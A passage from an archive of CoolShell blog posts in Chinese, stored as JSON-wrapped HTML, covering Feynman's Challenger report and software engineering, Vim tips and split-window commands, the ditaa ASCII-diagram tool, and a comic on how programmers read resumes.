href=\"http://stevemcconnell.com/ieeesoftware/eic17.htm\">我们就越难解决这个问题</a>。很显然，自顶向下的方法，因为在设计的时候并不熟悉实际问题，所以，Bug从设计的时候就出现了。然而，我们需要明白，需求和设计的不同之处。需求需要对产品一种清楚和良好的定义，设计则是解决如何达到需求的方法。Feynman 在这里并没有反对 <a href=\"http://www.joelonsoftware.com/articles/fog0000000036.html\">功能规格说明书</a>，他只是反对自顶向下的设计方法，比如： <a href=\"http://martinfowler.com/bliki/UmlAsBlueprint.html\">UML 就是蓝图</a> 的鼓吹者。再来看看他的言论：</p>\n<blockquote><p>航天飞机主引擎是一个非常不同寻常的机器，它和以前所有的引擎都不一样。这完全超出了以前引擎制的工程经验。所以，不奇怪的，许多不同的流程和难点都会在工程中出现。<strong>然而，很不幸地，这是通过自顶向下设计，所以，那些流程和问题是很难被发现被修正的</strong>。设计要求的引擎寿命可以完成55次点火任务（相当于27,000秒的操作，也就是说，第次点火需要500秒），但事实上这并没有完成。而引擎现在则<strong>需要频繁维护，并需要经常更换重要的部件</strong>，比如：涡轮泵，轴承，金属片，等等。</p></blockquote>\n<p align=\"center\"><img alt=\"Richard Feynman\" height=\"248\" hspace=\"hspace\" src=\"http://static.duartes.org/img/blogPosts/feynman.jpg\" style=\"MARGIN: 4px;\" vspace=\"vspace\" width=\"200\"/></p>\n<p>“不合适的自顶向下的设计方式，导致了问题很难去发现和修正，最终没有完成设计需求，频繁性地维护”这些描述方式，听起来是不是似曾相识？我们每天在做的软件工程和这个不一样吗？Feynman 详细说明了为什么“自顶向下”的设计会让发现和解决这些问题成为那么的难和痛苦的一件事：</p>\n<blockquote><p>很多这些已被解决的问题在一开始设计时都是设计的难点。很自然地，没有人可以确定那些所有的已发现问题都能会出现，而其中一些，<strong>我们并没有根据正确的原因在正确的地方解决这些问题</strong>。</p></blockquote>\n<p>无论这是Linux内核，或是航天飞机引擎，这些设计时的基本的问题都是相通的。而“自顶向下”是其中荒唐的一个，因为，自顶向下，过度的注重了需求而忽略了现实，而那些下面非常细节的知识绝对是非常需要的，并不是所有的东西都可以抽象成出来。在他说起航空电子系统时（一个NASA的另一个部门）：</p>\n<blockquote><p>该软件是采用了从底向上的方法被小心地做了检查。<strong>首先，每一行代码都被检查过，然后，代码段和模块和一些详细的功能被验证过</strong>。而检查范围在一步一步地被扩大，直到新的改变被组合进来最终成为一个完整的系统。这个过程最终的完整的输出成为了最终的产品，成为了新的release。这个部门完全以一种中立的态度，<strong>把软件作为一个敌对方</strong>，不停地测试，校验，就像自己就是这个软件的用户一样。</p></blockquote>\n<p>是的，这就是1986年Feynman告诉大家的——Unit Test（单元测试），今天，Unit Test成为了软件开发活动中最最重要的一个环节（也许你以为是Coding）。并不单单只是Unit Test，“步步为营的增量式”和“以敌对的态度”，都是值得我们所学习的。我们经常听到有人在抱怨软件道，因为软件工程还太年轻了，还有很多知识我们还没有得到，所以总是那么多问题。这完全是胡说！我们痛苦是因为，我们 <a href=\"http://www.stevemcconnell.com/cc.htm\">总是忽略</a> 早就确定了的， <a href=\"http://www.joelonsoftware.com/articles/fog0000000043.html\">早为人所熟知</a>， <a href=\"http://www.stevemcconnell.com/rd.htm\">以经历和实践去证明一切的方法</a>。 当然，在这方面，我们的管理层也需要负责，尤其是那些紊乱的时间进度，错误的激励机制，低档次的招聘，和一些让士气受挫的制度，等等。“管理”和“工程”间的紧张关系最终成为了糟糕的管理。Feynman在他的报告中也谈到了这点，下面其中的一小段话：</p>\n<blockquote><p>总而言之，计算机软件检查系统和<strong>最负责的态度</strong>。是的，那里并没有那种自欺欺人而不顾固体燃料助推器的标准。但可以肯定的是，有关管理部门<strong>最新的建议，建议取消此类复杂而昂贵的不必要的测试</strong>。</p></blockquote>\n<p>这只是其中的一个小段。我把其挑出来是因为其一针见血地指出了观点，比如“最负责的态度”，以及“逐步的自欺欺人”。我建议你读一读<a href=\"http://www.ralentz.com/old/space/feynman-report.html\">报告全文</a>， 可以让你得到很多真相。关于软件工程，下面是几个主要观点：</p>\n<ul>\n<li>工程仅当在和其管理有好的关系的时候才能好。</li>\n<li>大型的从上从前端的设计是愚蠢的。</li>\n<li>软件工程和其它传统的工程学是一样的。</li>\n<li>可靠的系统由几近残酷的测试，增量式的自底向上的工程，以及高负责的态度来共同保证。</li>\n</ul>\n<p>这篇报告中，还有很多不错的观点，如果你感受到了，欢迎你告诉我。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2681.html\"><img alt=\"Kent Beck 谈单元测试和持续部署\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2681.html\">Kent Beck 谈单元测试和持续部署</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2539.html\"><img alt=\"参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2539.html\">参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/76.html\"><img alt=\"怎样做一个 Program Manager\" height=\"150\" src=\"../wp-content/uploads/2009/03/09meeting-thumbnail-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/76.html\">怎样做一个 Program Manager</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/404.html\"><img alt=\"4月14日，微软补丁日\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/404.html\">4月14日，微软补丁日</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3192.html\"><img alt=\"一些非常不错的资料\" height=\"150\" src=\"../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3192.html\">一些非常不错的资料</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1817.html\"><img alt=\"9个最常见IE的Bug及其fix\" height=\"150\" src=\"../wp-content/uploads/2009/11/200x200-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1817.html\">9个最常见IE的Bug及其fix</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1654.html\">Richard Feynman, 挑战者号, 软件工程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-4 VIM有趣的命令.html",
    "content": "<html><body><p>前几天逛豆瓣，发现了VIM一个有趣的小技巧。</p>\n<p>在VIM中输入:h!试试看会发现什么。</p>\n<p>再输入:h 42呢？又会有什么发现？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1651.html\">VIM有趣的命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-7 Vim的分屏功能.html",
    "content": "<html><body><p>本篇文章主要教你如何使用 <a href=\"http://www.vim.org/\">Vim</a> 分屏功能。</p>\n<p style=\"text-align: center;\"><img alt=\"vim-windows\" height=\"391\" src=\"../wp-content/uploads/2009/11/vimwindows.png\" style=\"display: inline;\" title=\"vim-windows\" width=\"550\"/></p>\n<p><span id=\"more-2645\"> <img alt=\"\" src=\"https://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\" title=\"更多...\"/><span id=\"more-1679\"></span></span></p>\n<h4>分屏启动Vim</h4>\n<ol>\n<li>使用大写的O参数来垂直分屏。\n<pre><code>vim -On file1 file2 ...</code></pre>\n</li>\n<li>使用小写的o参数来水平分屏。\n<pre><code>vim -on file1 file2 ...</code></pre>\n</li>\n</ol>\n<p><strong>注释:</strong> n是数字，表示分成几个屏。</p>\n<h4>关闭分屏</h4>\n<ol>\n<li>关闭当前窗口。\n<pre><code>Ctrl+W c</code></pre>\n</li>\n<li>关闭当前窗口，如果只剩最后一个了，则退出Vim。\n<pre><code>Ctrl+W q</code></pre>\n</li>\n</ol>\n<h4>分屏</h4>\n<ol>\n<li>上下分割当前打开的文件。\n<pre><code>Ctrl+W s</code></pre>\n</li>\n<li>上下分割，并打开一个新的文件。\n<pre><code>:sp filename</code></pre>\n</li>\n<li>左右分割当前打开的文件。\n<pre><code>Ctrl+W v</code></pre>\n</li>\n<li>左右分割，并打开一个新的文件。\n<pre>:vsp filename</pre>\n</li>\n</ol>\n<h4>移动光标</h4>\n<p>Vi中的光标键是h, j, k, l，要在各个屏间切换，只需要先按一下Ctrl+W</p>\n<ol>\n<li>把光标移到<strong>右边</strong>的屏。\n<pre><code>Ctrl+W l</code></pre>\n</li>\n<li>把光标移到<strong>左边</strong>的屏中。\n<pre><code>Ctrl+W h</code></pre>\n</li>\n<li>把光标移到<strong>上边</strong>的屏中。\n<pre><code>Ctrl+W k</code></pre>\n</li>\n<li>把光标移到<strong>下边</strong>的屏中。\n<pre><code>Ctrl+W j</code></pre>\n</li>\n<li>把光标移到<strong>下一个</strong>的屏中。.\n<pre>Ctrl+W w</pre>\n</li>\n</ol>\n<h4>移动分屏</h4>\n<p>这个功能还是使用了Vim的光标键，只不过都是大写。当然了，如果你的分屏很乱很复杂的话，这个功能可能会出现一些非常奇怪的症状。</p>\n<ol>\n<li>向右移动。\n<pre><code>Ctrl+W L</code></pre>\n</li>\n<li>向左移动\n<pre><code>Ctrl+W H</code></pre>\n</li>\n<li>向上移动\n<pre><code>Ctrl+W K</code></pre>\n</li>\n<li>向下移动\n<pre><code>Ctrl+W J</code></pre>\n</li>\n</ol>\n<h4>屏幕尺寸</h4>\n<p>下面是改变尺寸的一些操作，主要是高度，对于宽度你可以使用[Ctrl+W &lt;]或是[Ctrl+W &gt;]，但这可能需要最新的版本才支持。</p>\n<ol>\n<li>让所有的屏都有一样的高度。\n<pre><code>Ctrl+W =</code></pre>\n</li>\n<li>增加高度。\n<pre><code>Ctrl+W +</code></pre>\n</li>\n<li>减少高度。\n<pre><code>Ctrl+W -</code></pre>\n</li>\n</ol>\n<p><code>也许还有其它我不知道的，欢迎你补充。</code></p>\n<p><code>（全文完）</code><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1679.html\">Vim的分屏功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-7 把ASCII图转成图片.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">我们都知道有很多软件帮我们把图片转成ASCII码图，这里这个工具是帮我们把ASCII图转成漂亮的图片。这个开源的软件是一个用Java写成的一个命令行的工具。对于这个工具的目的，我个人以为如下：</p>\n<ul style=\"text-align: left;\">\n<li>其一，可以把别人的ASCII图转成图片，于是更好看一些。</li>\n<li>其二，你可以使用ASCII码画图，而不需要使用图片编辑器。</li>\n<li>其三，因为是命令行，所以，你完全可以以脚本或程序的方法来作图了。</li>\n</ul>\n<p style=\"text-align: left;\">这个工具软件叫ditaa，其网址是：<a href=\"http://ditaa.sourceforge.net/\">http://ditaa.sourceforge.net/</a>。</p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://ditaa.sourceforge.net/images/logo.png\"/><img alt=\"\" src=\"http://ditaa.sourceforge.net/images/arrow_hor.png\"/></p>\n<p style=\"text-align: left;\">这个小工具支持一些语法定义，可以帮你更好地产生图片，如下所示：</p>\n<p style=\"text-align: left;\"><span id=\"more-1684\"></span></p>\n<p style=\"text-align: left;\"><strong>圆角矩形</strong></p>\n<table border=\"0\" cellspacing=\"15\" style=\"text-align: left;\">\n<tbody>\n<tr>\n<td align=\"center\">\n<pre>/--+\n|  |\n+--/</pre>\n</td>\n<td align=\"center\"><img alt=\"round corner demo\" src=\"http://ditaa.sourceforge.net/images/round_corner.png\"/></td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">\n</p><p style=\"text-align: left;\"><strong>定义颜色</strong></p>\n<table border=\"0\" cellspacing=\"15\" style=\"text-align: left;\">\n<tbody>\n<tr>\n<td>\n<pre>Color codes\n/-------------+-------------\\\n|cRED RED     |cBLU BLU     |\n+-------------+-------------+\n|cGRE GRE     |cPNK PNK     |\n+-------------+-------------+\n|cBLK BLK     |cYEL YEL     |\n\\-------------+-------------/</pre>\n</td>\n<td align=\"center\"><img alt=\"color code\" src=\"http://ditaa.sourceforge.net/images/color_codes.png\"/></td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">\n</p><p style=\"text-align: center;\">\n</p><p style=\"text-align: center;\">\n</p><p style=\"text-align: left;\"><strong>一些图示</strong></p>\n<table border=\"0\" cellspacing=\"5\" style=\"text-align: left;\">\n<tbody>\n<tr>\n<th>名字</th>\n<th>ASCII</th>\n<th>图版</th>\n<th>注释</th>\n</tr>\n<tr>\n<td valign=\"top\">文档</td>\n<td align=\"center\">\n<pre>+-----+\n|{d}  |\n|     |\n|     |\n+-----+</pre>\n</td>\n<td><img alt=\"\" src=\"http://ditaa.sourceforge.net/images/document.png\"/></td>\n<td valign=\"top\">表示文件</td>\n</tr>\n<tr>\n<td valign=\"top\">存储</td>\n<td align=\"center\">\n<pre>+-----+\n|{s}  |\n|     |\n|     |\n+-----+</pre>\n</td>\n<td><img alt=\"\" src=\"http://ditaa.sourceforge.net/images/storage.png\"/></td>\n<td valign=\"top\">表示数据库或磁盘</td>\n</tr>\n<tr>\n<td valign=\"top\">输入<br/>\n输出</td>\n<td align=\"center\">\n<pre>+-----+\n|{io} |\n|     |\n|     |\n+-----+</pre>\n</td>\n<td><img alt=\"\" src=\"http://ditaa.sourceforge.net/images/io.png\"/></td>\n<td valign=\"top\">输入/输出标志。</td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">\n</p><p style=\"text-align: center;\">\n</p><p style=\"text-align: center;\">\n</p><p style=\"text-align: left;\"><strong>线条设置</strong></p>\n<table border=\"0\" cellspacing=\"15\" style=\"text-align: left;\">\n<tbody>\n<tr>\n<td>\n<pre>----+  /----\\  +----+\n    :  |    |  :    |\n    |  |    |  |{s} |\n    v  \\-=--+  +----+</pre>\n</td>\n<td align=\"center\"><img alt=\"\" src=\"http://ditaa.sourceforge.net/images/dashed_demo.png\"/></td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">\n</p><p style=\"text-align: center;\">\n</p><p style=\"text-align: center;\">\n</p><p style=\"text-align: left;\">\n</p><p style=\"text-align: left;\"><strong>线上的链接点</strong></p>\n<table border=\"0\" cellspacing=\"15\" style=\"text-align: left;\">\n<tbody>\n<tr>\n<td>\n<pre>*----*\n|    |      /--*\n*    *      |\n|    |  -*--+\n*----*</pre>\n</td>\n<td align=\"center\"><img alt=\"point marker demo\" src=\"http://ditaa.sourceforge.net/images/point_marker.png\"/></td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: left;\">\n</p><p style=\"text-align: left;\">\n</p><p style=\"text-align: center;\">\n</p><p style=\"text-align: left;\"><strong>文本</strong></p>\n<table border=\"0\" cellspacing=\"15\" style=\"text-align: lef;\">\n<tbody>\n<tr>\n<td>\n<pre>/-----------------\\\n| Things to do    |\n| cGRE            |\n| o Cut the grass |\n| o Buy jam       |\n| o Fix car       |\n| o Make website  |\n\\-----------------/</pre>\n</td>\n<td align=\"center\"><img alt=\"bullet point demo\" src=\"http://ditaa.sourceforge.net/images/bullet.png\"/></td>\n</tr>\n</tbody>\n</table>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/290.html\"><img alt=\"雷人的程序注释\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/290.html\">雷人的程序注释</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2394.html\"><img alt=\"九个PHP很有用的功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2520.html\"><img alt=\"伦敦地铁实时图\" height=\"150\" src=\"../wp-content/uploads/2010/06/London-Live-Train-Map-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2520.html\">伦敦地铁实时图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1245.html\"><img alt=\"IE的CSS相关的BUG\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1245.html\">IE的CSS相关的BUG</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1684.html\">把ASCII图转成图片</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-9 别的程序员是怎么读你的简历的.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/resume_comic.png\"></a>下面这个图片来源国外，是一个关于程序员面试时的简历，被人事部门和程序员本身评审的角度不同的图片。当然，这是一个从国外面试的视角制作的图片，不过，可以看出，其中很多东西都是和国内是相同的。让我们通过这个图片也来了解一下自身吧。</p>\n<p align=\"center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/resume_comic.png\" target=\"_blank\"><img alt=\"程序员怎样阅读简历（点击看大图）\" height=\"1024\" src=\"../wp-content/uploads/2009/11/resume_comic-552x1024.png\" title=\"程序员怎样阅读简历\" width=\"552\"/></a></p>\n<p>下面是我对其做的翻译，翻译水平有限，请大家指正。</p>\n<p><span id=\"more-1695\"></span></p>\n<h4>人事部门是这样阅读简历的</h4>\n<ul>\n<li>（+15分）如果简历中说到了和工作职位相符的技能超过5次以上。</li>\n<li>（+8分）如果简历中说到了和工作职位相符的技能3次到5次。</li>\n<li>（+4分）如果简历中说到了和工作职位相符的技能1次到2次。</li>\n<li>（+4分）Cover Letter（“求职信”或“自荐信”）提到了招聘人员。</li>\n<li>（+2分）简历中有Cover Letter（求职信）。</li>\n<li>（-10分）没有提到和职位描述相关的技能。</li>\n<li>（-15分）没有受过大专教育。</li>\n</ul>\n<h4>程序员是这样阅读简历的</h4>\n<ul>\n<li>（+15分）曾经因为好玩而写过操作系统或编译器。</li>\n<li>（+12分）简历被LaTeX编译过。</li>\n<li>（+11分）为开源软件贡献过代码。</li>\n<li>（+9分）上学的时候曾经写过操作系统或编译器。</li>\n<li>（+8分）有一个BLOG分享技术知识。</li>\n<li>（+8分）编程/机器人/工程俱乐部主席。</li>\n<li>（+7分）编程/机器人/工程竞赛参与者。</li>\n<li>（+7分）在Google和Microsoft实习过。</li>\n<li>（+6分）使用动态语言（Python/Perl/Ruby）写过非试验性的程序。</li>\n<li>（+5分）知道3种或多于3种的编程语言。</li>\n<li>（+5分）之前的工作和目前的职位有很相似的经验。</li>\n<li>（+4分）有过实习经验。</li>\n<li>（+4分）自己创过业开过公司。</li>\n<li>（+4分）有一个通过Rail, PHP或ASP.NET的个人主页。</li>\n<li>（+3分）有一个自己域名的邮件地址。</li>\n<li>（+3分）改过一些由动态语言（Python/Perl/Ruby）写的程序。</li>\n<li>（+2分）有一个个人主页。</li>\n<li>（+1分）高学历，学习成绩优秀，等。</li>\n<li>（+0分）有奖学金。</li>\n<li>（+0分）在快餐店工作过。</li>\n<li>（-0.5分）Fackbook上有一张看上去喝醉了的照片。</li>\n<li>（-1分）有博士头衔。</li>\n<li>（-2分）有一个一般的求职信。</li>\n<li>（-2分）在简历中说自己懂Word/Excel。</li>\n<li>（-2分）在简历中有拼写和语法错误。</li>\n<li>（-3分）简历的字体太小。</li>\n<li>（-4分）所有的编程经验只是在学校中。</li>\n<li>（-4分）只知道一门编程语言。</li>\n<li>（-6分）简历有三页以上。</li>\n<li>（-6分）简历中有一些无关的东西。</li>\n<li>（-7分）得到过一些课程的认证。</li>\n<li>（-8分）相关专业课程很低的成绩。</li>\n<li>（-10分）在技能中，把Visual Basic列在第一的位置。</li>\n<li>（-12分）在Facebook中，有过光膀子的照片。</li>\n<li>（-15分）简历中的缩进同时使用了空格和Tab键。</li>\n</ul>\n<p>我个人觉得其中的很多东西真是说出了程序员的那种特性。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" 